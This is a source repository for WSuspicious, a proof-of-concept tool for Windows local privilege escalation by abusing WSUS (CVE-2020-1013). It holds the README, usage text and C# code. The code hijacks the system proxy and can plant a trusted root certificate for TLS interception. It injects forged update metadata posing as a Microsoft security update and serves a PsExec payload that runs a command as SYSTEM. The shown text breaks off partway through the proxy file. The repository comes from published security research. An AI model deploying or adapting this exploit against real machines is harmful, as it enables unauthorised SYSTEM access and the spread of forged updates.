├── .gitignore ├── LICENSE ├── README.md ├── WSuspicious.sln ├── WSuspicious ├── App.config ├── Program.cs ├── ResourceHandler.cs ├── Servers │ ├── HttpServer.cs │ └── Proxy │ │ ├── WsusProxy.cs │ │ └── tls │ │ └── CertificateMaker.cs ├── Utility │ ├── ArgumentsParser.cs │ ├── InternetExplorerProxyManager.cs │ └── WindowsUpdateLauncher.cs └── WSuspicious.csproj └── docs └── privesc.gif /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | [Bb]in/ 22 | [Oo]bj/ 23 | [Ll]og/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | project.fragment.lock.json 46 | artifacts/ 47 | 48 | *_i.c 49 | *_p.c 50 | *_i.h 51 | *.ilk 52 | *.meta 53 | *.obj 54 | *.pch 55 | *.pdb 56 | *.pgc 57 | *.pgd 58 | *.rsp 59 | *.sbr 60 | *.tlb 61 | *.tli 62 | *.tlh 63 | *.tmp 64 | *.tmp_proj 65 | *.log 66 | *.vspscc 67 | *.vssscc 68 | .builds 69 | *.pidb 70 | *.svclog 71 | *.scc 72 | 73 | # Chutzpah Test files 74 | _Chutzpah* 75 | 76 | # Visual C++ cache files 77 | ipch/ 78 | *.aps 79 | *.ncb 80 | *.opendb 81 | *.opensdf 82 | *.sdf 83 | *.cachefile 84 | *.VC.db 85 | *.VC.VC.opendb 86 | 87 | # Visual Studio profiler 88 | *.psess 89 | *.vsp 90 | *.vspx 91 | *.sap 92 | 93 | # TFS 2012 Local Workspace 94 | $tf/ 95 | 96 | # Guidance Automation Toolkit 97 | *.gpState 98 | 99 | # ReSharper is a .NET coding add-in 100 | _ReSharper*/ 101 | *.[Rr]e[Ss]harper 102 | *.DotSettings.user 103 | 104 | # JustCode is a .NET coding add-in 105 | .JustCode 106 | 107 | # TeamCity is a build add-in 108 | _TeamCity* 109 | 110 | # DotCover is a Code Coverage Tool 111 | *.dotCover 112 | 113 | # NCrunch 114 | _NCrunch_* 115 | .*crunch*.local.xml 116 | nCrunchTemp_* 117 | 118 | # MightyMoose 119 | *.mm.* 120 | AutoTest.Net/ 121 | 122 | # Web workbench (sass) 123 | .sass-cache/ 124 | 125 | # Installshield output folder 126 | [Ee]xpress/ 127 | 128 | # DocProject is a documentation generator add-in 129 | DocProject/buildhelp/ 130 | DocProject/Help/*.HxT 131 | DocProject/Help/*.HxC 132 | DocProject/Help/*.hhc 133 | DocProject/Help/*.hhk 134 | DocProject/Help/*.hhp 135 | DocProject/Help/Html2 136 | DocProject/Help/html 137 | 138 | # Click-Once directory 139 | publish/ 140 | 141 | # Publish Web Output 142 | *.[Pp]ublish.xml 143 | *.azurePubxml 144 | # TODO: Comment the next line if you want to checkin your web deploy settings 145 | # but database connection strings (with potential passwords) will be unencrypted 146 | #*.pubxml 147 | *.publishproj 148 | 149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 150 | # checkin your Azure Web App publish settings, but sensitive information contained 151 | # in these scripts will be unencrypted 152 | PublishScripts/ 153 | 154 | # NuGet Packages 155 | *.nupkg 156 | # The packages folder can be ignored because of Package Restore 157 | **/packages/* 158 | # except build/, which is used as an MSBuild target. 159 | !**/packages/build/ 160 | # Uncomment if necessary however generally it will be regenerated when needed 161 | #!**/packages/repositories.config 162 | # NuGet v3's project.json files produces more ignoreable files 163 | *.nuget.props 164 | *.nuget.targets 165 | 166 | # Microsoft Azure Build Output 167 | csx/ 168 | *.build.csdef 169 | 170 | # Microsoft Azure Emulator 171 | ecf/ 172 | rcf/ 173 | 174 | # Windows Store app package directories and files 175 | AppPackages/ 176 | BundleArtifacts/ 177 | Package.StoreAssociation.xml 178 | _pkginfo.txt 179 | 180 | # Visual Studio cache files 181 | # files ending in .cache can be ignored 182 | *.[Cc]ache 183 | # but keep track of directories ending in .cache 184 | !*.[Cc]ache/ 185 | 186 | # Others 187 | ClientBin/ 188 | ~$* 189 | *~ 190 | *.dbmdl 191 | *.dbproj.schemaview 192 | *.jfm 193 | *.pfx 194 | *.publishsettings 195 | node_modules/ 196 | orleans.codegen.cs 197 | 198 | # Since there are multiple workflows, uncomment next line to ignore bower_components 199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 200 | #bower_components/ 201 | 202 | # RIA/Silverlight projects 203 | Generated_Code/ 204 | 205 | # Backup & report files from converting an old project file 206 | # to a newer Visual Studio version. Backup files are not needed, 207 | # because we have git ;-) 208 | _UpgradeReport_Files/ 209 | Backup*/ 210 | UpgradeLog*.XML 211 | UpgradeLog*.htm 212 | 213 | # SQL Server files 214 | *.mdf 215 | *.ldf 216 | 217 | # Business Intelligence projects 218 | *.rdl.data 219 | *.bim.layout 220 | *.bim_*.settings 221 | 222 | # Microsoft Fakes 223 | FakesAssemblies/ 224 | 225 | # GhostDoc plugin setting file 226 | *.GhostDoc.xml 227 | 228 | # Node.js Tools for Visual Studio 229 | .ntvs_analysis.dat 230 | 231 | # Visual Studio 6 build log 232 | *.plg 233 | 234 | # Visual Studio 6 workspace options file 235 | *.opt 236 | 237 | # Visual Studio LightSwitch build output 238 | **/*.HTMLClient/GeneratedArtifacts 239 | **/*.DesktopClient/GeneratedArtifacts 240 | **/*.DesktopClient/ModelManifest.xml 241 | **/*.Server/GeneratedArtifacts 242 | **/*.Server/ModelManifest.xml 243 | _Pvt_Extensions 244 | 245 | # Paket dependency manager 246 | .paket/paket.exe 247 | paket-files/ 248 | 249 | # FAKE - F# Make 250 | .fake/ 251 | 252 | # JetBrains Rider 253 | .idea/ 254 | *.sln.iml 255 | 256 | # CodeRush 257 | .cr/ 258 | 259 | # Python Tools for Visual Studio (PTVS) 260 | __pycache__/ 261 | *.pyc 262 | 263 | WSuspicious.exe 264 | WSuspicious.pdb -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 GoSecure 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WSuspicious 2 | 3 | ## Summary 4 | This is a proof of concept program to escalate privileges on a Windows host by abusing WSUS. 5 | Details in this blog post: https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/ 6 | It was inspired from the WSuspect proxy project: https://github.com/ctxis/wsuspect-proxy 7 | 8 | ## Acknowledgements 9 | Privilege escalation module written by Maxime Nadeau from GoSecure 10 | 11 | Huge thanks to: 12 | * Julien Pineault from GoSecure and Mathieu Novis from ‎SecureOps for reviving the WSUS proxy attack 13 | * Romain Carnus from GoSecure for coming up with the HTTPS interception idea 14 | * Paul Stone and Alex Chapman from Context Information Security for writing and researching the original proxy PoC 15 | 16 | ## Usage 17 | The tool was tested on Windows 10 machines (10.0.17763 and 10.0.18363) in different domain environments. 18 | 19 | ``` 20 | Usage: WSuspicious [OPTION]... 21 | Ex. WSuspicious.exe /command:"" - accepteula - s - d cmd / c """"echo 1 > C:\\wsuspicious.txt"""""" /autoinstall 22 | 23 | Creates a local proxy to intercept WSUS requests and try to escalate privileges. 24 | If launched without any arguments, the script will simply create the file C:\\wsuspicious.was.here 25 | 26 | /exe The full path to the executable to run 27 | Known payloads are bginfo and PsExec. (Default: .\PsExec64.exe) 28 | /command The command to execute (Default: -accepteula -s -d cmd /c ""echo 1 > C:\\wsuspicious.was.here"") 29 | /proxyport The port on which the proxy is started. (Default: 13337) 30 | /downloadport The port on which the web server hosting the payload is started. (Sometimes useful for older Windows versions) 31 | If not specified, the server will try to intercept the request to the legitimate server instead. 32 | /debug Increase the verbosity of the tool 33 | /autoinstall Start Windows updates automatically after the proxy is started. 34 | /enabletls Enable HTTPS interception. WARNING. NOT OPSEC SAFE. 35 | This will prompt the user to add the certificate to the trusted root. 36 | /help Display this help and exit 37 | ``` 38 | 39 | ### Examples 40 | ![WSuspicious Privesc Example gif](https://github.com/GoSecure/WSuspicious/raw/master/docs/privesc.gif) 41 | 42 | ## Compilation 43 | The ILMerge dependency can be used to compile the application into a standalone .exe file. 44 | To compile and compile the application, simply use the following command: 45 | ``` 46 | dotnet msbuild /t:Restore /t:Clean /t:Build /p:Configuration=Release /p:DebugSymbols=false /p:DebugType=None /t:ILMerge /p:TrimUnusedDependencies=true 47 | -------------------------------------------------------------------------------- /WSuspicious.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28010.2050 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WSuspicious", "WSuspicious\WSuspicious.csproj", "{9501F208-FD68-469A-A77B-BB37314ECE33}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {9501F208-FD68-469A-A77B-BB37314ECE33}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {9501F208-FD68-469A-A77B-BB37314ECE33}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {9501F208-FD68-469A-A77B-BB37314ECE33}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {9501F208-FD68-469A-A77B-BB37314ECE33}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {62A5AFD6-B0A6-4929-BAAD-AC06E314F3F9} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /WSuspicious/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /WSuspicious/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Security.Cryptography.X509Certificates; 5 | using Microsoft.Win32; 6 | using WSuspicious.Servers; 7 | using WSuspicious.Servers.Proxy; 8 | using WSuspicious.Servers.Proxy.tls; 9 | using WSuspicious.Utility; 10 | 11 | namespace WSuspicious 12 | { 13 | class Program 14 | { 15 | public static int Main(string[] args) 16 | { 17 | Dictionary arguments = ArgumentsParser.parse(args); 18 | if (arguments.ContainsKey("/help")) 19 | { 20 | PrintHelp(); 21 | return 0; 22 | } 23 | 24 | string wsusConfig = (string)Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\", "WUServer", null); 25 | 26 | string wsusHost = null; 27 | if (wsusConfig != null) 28 | { 29 | Uri wsusURI = new Uri(wsusConfig); 30 | wsusHost = wsusURI.Host; 31 | 32 | X509Certificate2 cert = null; 33 | if (wsusURI.Scheme == "https" && arguments.ContainsKey("/enabletls")) 34 | { 35 | Console.WriteLine("The WSUS Server is using HTTPS. Adding a self-signed certificate to store"); 36 | cert = CertificateMaker.MakeCertificate(wsusHost); 37 | Console.WriteLine("Prompting user to add the certificate. Please wait."); 38 | CertificateMaker.AddToTrustStore(cert); 39 | } 40 | else if (wsusURI.Scheme == "https") 41 | { 42 | Console.WriteLine("The WSUS Server is using HTTPS and we are not configured to accept TLS connections."); 43 | Console.WriteLine("Exiting now."); 44 | return 0; 45 | } 46 | 47 | Console.WriteLine(String.Format("Detected WSUS Server - {0}", wsusHost)); 48 | 49 | byte[] payloadFile = File.ReadAllBytes(arguments["/exe"]); 50 | 51 | HttpServer serv = null; 52 | if (arguments.ContainsKey("/downloadport")) 53 | { 54 | // We are configured to deliver the payload via a self-hosted server. Lets start it 55 | serv = new HttpServer(int.Parse(arguments["/downloadport"]), payloadFile); 56 | serv.Start(); 57 | } 58 | 59 | using (WsusProxy proxy = new WsusProxy(wsusHost, payloadFile, Path.GetFileName(arguments["/exe"]), arguments["/command"], arguments.ContainsKey("/debug"), (arguments.ContainsKey("/downloadport") ? String.Format("localhost:{0}", arguments["/downloadport"]) : null), cert)) 60 | { 61 | proxy.Start(int.Parse(arguments["/proxyport"])); 62 | 63 | Console.WriteLine("Hit any key to exit.."); 64 | 65 | if (arguments.ContainsKey("/autoinstall")) 66 | { 67 | WindowsUpdateLauncher.StartUpdates(); 68 | } 69 | 70 | Console.WriteLine(); 71 | Console.Read(); 72 | } 73 | 74 | // We advice people to cleanup the cert that we added into the store 75 | if (wsusURI.Scheme == "https" && arguments.ContainsKey("/enabletls")) 76 | { 77 | Console.WriteLine("Consider removing the self-signed certificate from the store (Warning: it will prompt the user again)."); 78 | } 79 | 80 | // We cleanup the payload delivery server just in case (if any) 81 | if (serv != null) 82 | { 83 | serv.Stop(); 84 | } 85 | } 86 | else 87 | { 88 | Console.WriteLine("No WSUS Server detected."); 89 | Console.WriteLine("Stopping now."); 90 | } 91 | return 0; 92 | } 93 | 94 | public static void PrintHelp() 95 | { 96 | Console.WriteLine(@" 97 | Usage: WSuspicious [OPTION]... 98 | Ex. WSuspicious.exe /command:"" - accepteula - s - d cmd / c """"echo 1 > C:\\wsuspicious.txt"""""" /autoinstall 99 | Creates a local proxy to intercept WSUS requests and try to escalate privileges. 100 | If launched without any arguments, the script will simply create the file C:\\wsuspicious.was.here 101 | 102 | /exe The full path to the executable to run 103 | Known payloads are bginfo and PsExec. (Default: .\PsExec64.exe) 104 | /command The command to execute (Default: -accepteula -s -d cmd /c ""echo 1 > C:\\wsuspicious.was.here"") 105 | /proxyport The port on which the proxy is started. (Default: 13337) 106 | /downloadport The port on which the web server hosting the payload is started. (Sometimes useful for older Windows versions) 107 | If not specified, the server will try to intercept the request to the legitimate server instead. 108 | /debug Increase the verbosity of the tool 109 | /autoinstall Start Windows updates automatically after the proxy is started. 110 | /enabletls Enable HTTPS interception. WARNING. NOT OPSEC SAFE. 111 | This will prompt the user to add the certificate to the trusted root. 112 | /help Display this help and exit 113 | "); 114 | } 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /WSuspicious/ResourceHandler.cs: -------------------------------------------------------------------------------- 1 | namespace WSuspicious 2 | { 3 | public static class ResourceHandler 4 | { 5 | public static readonly string NewUpdatesTemplate = @" 6 | 7 | 8 | {0} 9 | 10 | {1} 11 | Install 12 | true 13 | 2020-02-29 14 | 0 15 | 0 16 | 0 17 | 18 | true 19 | <UpdateIdentity UpdateID=""{2}"" RevisionNumber=""204"" /><Properties UpdateType=""Software"" ExplicitlyDeployable=""true"" AutoSelectOnWebSites=""true"" /><Relationships><Prerequisites><AtLeastOne IsCategory=""true""><UpdateIdentity UpdateID=""0fa1201d-4330-4fa8-8ae9-b877473b6441"" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID=""{3}"" RevisionNumber=""204"" /></BundledUpdates></Relationships> 20 | 21 | 22 | {4} 23 | 24 | {5} 25 | Bundle 26 | true 27 | 2020-02-29 28 | 0 29 | 0 30 | 0 31 | 32 | true 33 | <UpdateIdentity UpdateID=""{6}"" RevisionNumber=""204"" /><Properties UpdateType=""Software"" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules> 34 | 35 | 36 | "; 37 | 38 | public static readonly string ExtendedUpdateInfoTemplate = @" 39 | 40 | 41 | 42 | 43 | 44 | 45 | {0} 46 | <ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation"" MaxDownloadSize=""{1}"" MinDownloadSize=""{2}""><InstallationBehavior RebootBehavior=""NeverReboots"" /></ExtendedProperties><Files><File Digest=""{3}"" DigestAlgorithm=""SHA1"" FileName=""{4}"" Size=""{5}"" Modified=""2010-11-25T15:26:20.723""><AdditionalDigest Algorithm=""SHA256"">{6}</AdditionalDigest></File></Files><HandlerSpecificData type=""cmd:CommandLineInstallation""><InstallCommand Arguments=""{7}"" Program=""{8}"" RebootByDefault=""false"" DefaultResult=""Succeeded""><ReturnCode Reboot=""false"" Result=""Succeeded"" Code=""-1"" /></InstallCommand></HandlerSpecificData> 47 | 48 | 49 | {9} 50 | <ExtendedProperties DefaultPropertiesLanguage=""en"" MsrcSeverity=""Important"" IsBeta=""false""><SupportUrl>https://gosecure.net</SupportUrl><SecurityBulletinID>MS42-007</SecurityBulletinID><KBArticleID>2862335</KBArticleID></ExtendedProperties> 51 | 52 | 53 | {10} 54 | <LocalizedProperties><Language>en</Language><Title>Bundle Security Update for * Windows (from KB2862335)</Title><Description>A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article. After you install this update, you may have to restart your system.</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl>https://gosecure.net</MoreInfoUrl><SupportUrl>https://gosecure.net</SupportUrl></LocalizedProperties> 55 | 56 | 57 | {11} 58 | <LocalizedProperties><Language>en</Language><Title>Probably-legal-update</Title></LocalizedProperties> 59 | 60 | 61 | 62 | 63 | {12} 64 | {13} 65 | 66 | 67 | 68 | 69 | 70 | 71 | "; 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /WSuspicious/Servers/HttpServer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Text; 4 | 5 | namespace WSuspicious.Servers 6 | { 7 | class HttpServer 8 | { 9 | public HttpListener listener; 10 | public byte[] fileData; 11 | 12 | public HttpServer(int port, byte[] payload) 13 | { 14 | listener = new HttpListener(); 15 | listener.Prefixes.Add(String.Format("http://127.0.0.1:{0}/", port)); 16 | 17 | Console.WriteLine(String.Format("Starting Payload delivery server on http://127.0.0.1:{0}/", port)); 18 | 19 | fileData = payload; 20 | } 21 | 22 | public async void Start() 23 | { 24 | bool runServer = true; 25 | listener.Start(); 26 | 27 | // While a user hasn't visited the `shutdown` url, keep on handling requests 28 | while (runServer) 29 | { 30 | // Will wait here until we hear from a connection 31 | HttpListenerContext ctx = await listener.GetContextAsync(); 32 | 33 | // Peel out the requests and response objects 34 | HttpListenerRequest req = ctx.Request; 35 | HttpListenerResponse resp = ctx.Response; 36 | 37 | resp.ContentType = "application/octet-stream"; 38 | resp.ContentEncoding = Encoding.UTF8; 39 | resp.ContentLength64 = fileData.Length; 40 | 41 | // Write out to the response stream (asynchronously), then close it 42 | await resp.OutputStream.WriteAsync(fileData, 0, fileData.Length); 43 | resp.Close(); 44 | } 45 | } 46 | 47 | public void Stop () 48 | { 49 | listener.Close(); 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /WSuspicious/Servers/Proxy/WsusProxy.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Net; 6 | using System.Security.Cryptography; 7 | using System.Security.Cryptography.X509Certificates; 8 | using System.Threading; 9 | using System.Threading.Tasks; 10 | using System.Xml.Linq; 11 | using Titanium.Web.Proxy; 12 | using Titanium.Web.Proxy.EventArguments; 13 | using Titanium.Web.Proxy.Exceptions; 14 | using Titanium.Web.Proxy.Models; 15 | using WSuspicious.Utility; 16 | 17 | namespace WSuspicious.Servers.Proxy 18 | { 19 | class WsusProxy : IDisposable 20 | { 21 | private readonly SemaphoreSlim @lock = new SemaphoreSlim(1); 22 | private readonly ProxyServer proxyServer; 23 | private ExplicitProxyEndPoint explicitEndPoint; 24 | private InternetExplorerProxyManager proxyManager; 25 | 26 | private short flagStep = 0; 27 | 28 | private readonly byte[] payload; 29 | private readonly string payloadSHA1; 30 | private readonly string payloadSHA256; 31 | private readonly string payloadExecutableName; 32 | 33 | private readonly int updateID1; 34 | private readonly int updateID2; 35 | private readonly int deploymentID1; 36 | private readonly int deploymentID2; 37 | private readonly string uuid1; 38 | private readonly string uuid2; 39 | 40 | private readonly bool isDebug; 41 | private readonly string wsusHost; 42 | 43 | private readonly string fakeWSUSHost; 44 | 45 | private readonly string executedCommand; 46 | 47 | private readonly X509Certificate2 genericCert; 48 | 49 | public WsusProxy(string wsusHost, byte[] payload, string payloadExecutableName, string executedCommand) : this(wsusHost, payload, payloadExecutableName, executedCommand, false) { } 50 | 51 | public WsusProxy(string wsusHost, byte[] payload, string payloadExecutableName, string executedCommand, bool debug) : this(wsusHost, payload, payloadExecutableName, executedCommand, debug, null, null) { } 52 | 53 | public WsusProxy(string wsusHost, byte[] payload, string payloadExecutableName, string executedCommand, bool debug, string fakeWSUSHost, X509Certificate2 cert) 54 | { 55 | this.isDebug = debug; 56 | this.wsusHost = wsusHost; 57 | this.payload = payload; 58 | this.payloadExecutableName = payloadExecutableName; 59 | this.executedCommand = WebUtility.HtmlEncode(WebUtility.HtmlEncode(executedCommand)); 60 | 61 | this.fakeWSUSHost = fakeWSUSHost; 62 | 63 | using (var cryptoProvider = new SHA1CryptoServiceProvider()) 64 | { 65 | this.payloadSHA1 = Convert.ToBase64String(cryptoProvider.ComputeHash(payload)); 66 | } 67 | 68 | using (var cryptoProvider = new SHA256CryptoServiceProvider()) 69 | { 70 | this.payloadSHA256 = Convert.ToBase64String(cryptoProvider.ComputeHash(payload)); 71 | } 72 | 73 | // Generate our update IDs 74 | Random rnd = new Random(); 75 | this.updateID1 = rnd.Next(900000, 999999); 76 | this.updateID2 = rnd.Next(900000, 999999); 77 | this.deploymentID1 = rnd.Next(80000, 99999); 78 | this.deploymentID2 = rnd.Next(80000, 99999); 79 | this.uuid1 = Guid.NewGuid().ToString(); 80 | this.uuid2 = Guid.NewGuid().ToString(); 81 | this.genericCert = cert; 82 | 83 | // Setup the proxy 84 | proxyServer = new ProxyServer(false, false, false); 85 | 86 | // Silent all exceptions and ensure we never crash and cause DoS 87 | proxyServer.ExceptionFunc = async exception => 88 | { 89 | if (exception is ProxyHttpException phex) 90 | { 91 | await writeToConsole(exception.Message + ": " + phex.InnerException?.Message, ConsoleColor.Red); 92 | } 93 | else 94 | { 95 | await writeToConsole(exception.ToString(), ConsoleColor.Red); 96 | } 97 | }; 98 | 99 | proxyServer.ReuseSocket = false; 100 | proxyServer.EnableConnectionPool = false; 101 | 102 | //TODO: Make proxy aware 103 | proxyServer.ForwardToUpstreamGateway = false; 104 | 105 | proxyManager = new InternetExplorerProxyManager(); 106 | } 107 | 108 | public void Start(int listenPort) 109 | { 110 | proxyServer.BeforeRequest += onRequest; 111 | proxyServer.BeforeResponse += onResponse; 112 | 113 | //proxyServer.EnableWinAuth = true; 114 | 115 | explicitEndPoint = new ExplicitProxyEndPoint(IPAddress.Loopback, listenPort); 116 | 117 | // Fired when a CONNECT request is received 118 | explicitEndPoint.BeforeTunnelConnectRequest += onBeforeTunnelConnectRequest; 119 | 120 | if (this.genericCert != null) 121 | { 122 | explicitEndPoint.GenericCertificate = genericCert; 123 | } 124 | 125 | // An explicit endpoint is where the client knows about the existence of a proxy 126 | // So client sends request in a proxy friendly manner 127 | proxyServer.AddEndPoint(explicitEndPoint); 128 | proxyServer.Start(); 129 | 130 | foreach (var endPoint in proxyServer.ProxyEndPoints) 131 | { 132 | Console.WriteLine("Listening on '{0}' endpoint at Ip {1} and port: {2} ", endPoint.GetType().Name, 133 | endPoint.IpAddress, endPoint.Port); 134 | } 135 | 136 | // Set us as the new proxy 137 | proxyManager.setProxy("127.0.0.1", listenPort, (this.genericCert != null)); 138 | } 139 | 140 | public void Stop() 141 | { 142 | explicitEndPoint.BeforeTunnelConnectRequest -= onBeforeTunnelConnectRequest; 143 | 144 | proxyServer.BeforeRequest -= onRequest; 145 | proxyServer.BeforeResponse -= onResponse; 146 | 147 | proxyServer.Stop(); 148 | 149 | proxyManager.revert(); 150 | } 151 | 152 | public void Dispose() 153 | { 154 | Stop(); 155 | } 156 | 157 | private async Task onBeforeTunnelConnectRequest(object sender, TunnelConnectSessionEventArgs e) 158 | { 159 | string hostname = e.HttpClient.Request.RequestUri.Host; 160 | await writeDebugToConsole("Tunnel to: " + hostname); 161 | 162 | var clientLocalIp = e.ClientLocalEndPoint.Address; 163 | if (!clientLocalIp.Equals(IPAddress.Loopback) && !clientLocalIp.Equals(IPAddress.IPv6Loopback)) 164 | { 165 | e.HttpClient.UpStreamEndPoint = new IPEndPoint(clientLocalIp, 0); 166 | } 167 | 168 | // We want to intercept TLS requests if they are going to the WSUS server 169 | if (!hostname.Contains(wsusHost) || this.genericCert == null) 170 | { 171 | e.DecryptSsl = false; 172 | } 173 | else 174 | { 175 | e.DecryptSsl = true; 176 | } 177 | } 178 | 179 | // intercept & cancel redirect or update requests 180 | private async Task onRequest(object sender, SessionEventArgs e) 181 | { 182 | var clientLocalIp = e.ClientLocalEndPoint.Address; 183 | if (!clientLocalIp.Equals(IPAddress.Loopback) && !clientLocalIp.Equals(IPAddress.IPv6Loopback)) 184 | { 185 | e.HttpClient.UpStreamEndPoint = new IPEndPoint(clientLocalIp, 0); 186 | } 187 | 188 | string hostname = e.HttpClient.Request.RequestUri.Host; 189 | 190 | await writeDebugToConsole("Active Client Connections:" + ((ProxyServer)sender).ClientConnectionCount); 191 | await writeDebugToConsole(String.Format("{0} {1}", e.HttpClient.Request.Method, e.HttpClient.Request.Url)); 192 | 193 | // We inject into the WSUS dance 194 | if (hostname.Contains(wsusHost)) 195 | { 196 | if (e.HttpClient.Request.HasBody) 197 | { 198 | string requestBody = await e.GetRequestBodyAsString(); 199 | 200 | if (requestBody.Contains("") && !requestBody.Contains("")) 201 | { 202 | await writeToConsole("---- Got request for stage 1 ----"); 203 | flagStep = 1; 204 | } 205 | else if (requestBody.Contains("")) 206 | { 207 | await writeToConsole("---- Got request for stage 2 ----"); 208 | flagStep = 2; 209 | } 210 | 211 | await writeDebugToConsole(""); 212 | await writeDebugToConsole("========================================================"); 213 | await writeDebugToConsole(" REQUEST "); 214 | await writeDebugToConsole("========================================================"); 215 | await writeDebugToConsole(requestBody); 216 | } 217 | else if (e.HttpClient.Request.RequestUri.AbsoluteUri.Contains(".exe")) 218 | { 219 | // return file 220 | e.Ok(payload); 221 | await writeToConsole("---- The payload is on the way. ----"); 222 | await writeToConsole("---- All done. ----"); 223 | } 224 | } 225 | } 226 | 227 | private async Task onResponse(object sender, SessionEventArgs e) 228 | { 229 | await writeDebugToConsole("Active Server Connections:" + ((ProxyServer)sender).ServerConnectionCount); 230 | 231 | string hostname = e.HttpClient.Request.RequestUri.Host; 232 | if (hostname.Contains(wsusHost)) 233 | { 234 | byte[] bodyBytes = await e.GetResponseBody(); 235 | 236 | if (bodyBytes.Length > 0) 237 | { 238 | if (flagStep == 1) 239 | { 240 | using (Stream stream = new MemoryStream(bodyBytes)) 241 | { 242 | XDocument doc = XDocument.Load(stream); 243 | 244 | var syncUpdatesResult = from p in doc.Descendants() 245 | where p.Name.LocalName == "SyncUpdatesResult" 246 | select p; 247 | 248 | if (syncUpdatesResult.Count() > 0 && e.HttpClient.Response.StatusCode == (int)HttpStatusCode.OK) 249 | { 250 | var ns = syncUpdatesResult.First().GetDefaultNamespace(); 251 | 252 | string newUpdatesTemplate = ResourceHandler.NewUpdatesTemplate.Trim(); 253 | newUpdatesTemplate = String.Format(newUpdatesTemplate, updateID1, deploymentID1, uuid1, uuid2, updateID2, deploymentID2, uuid2); 254 | 255 | // If there are real Update or OutOfScopeRevisionIDs tags, delete the node 256 | doc.Descendants(ns + "NewUpdates").Remove(); 257 | doc.Descendants(ns + "ChangedUpdates").Remove(); 258 | doc.Descendants(ns + "OutOfScopeRevisionIDs").Remove(); 259 | 260 | XElement importedNewUpdatesNode = XElement.Parse(newUpdatesTemplate); 261 | doc.Descendants(ns + 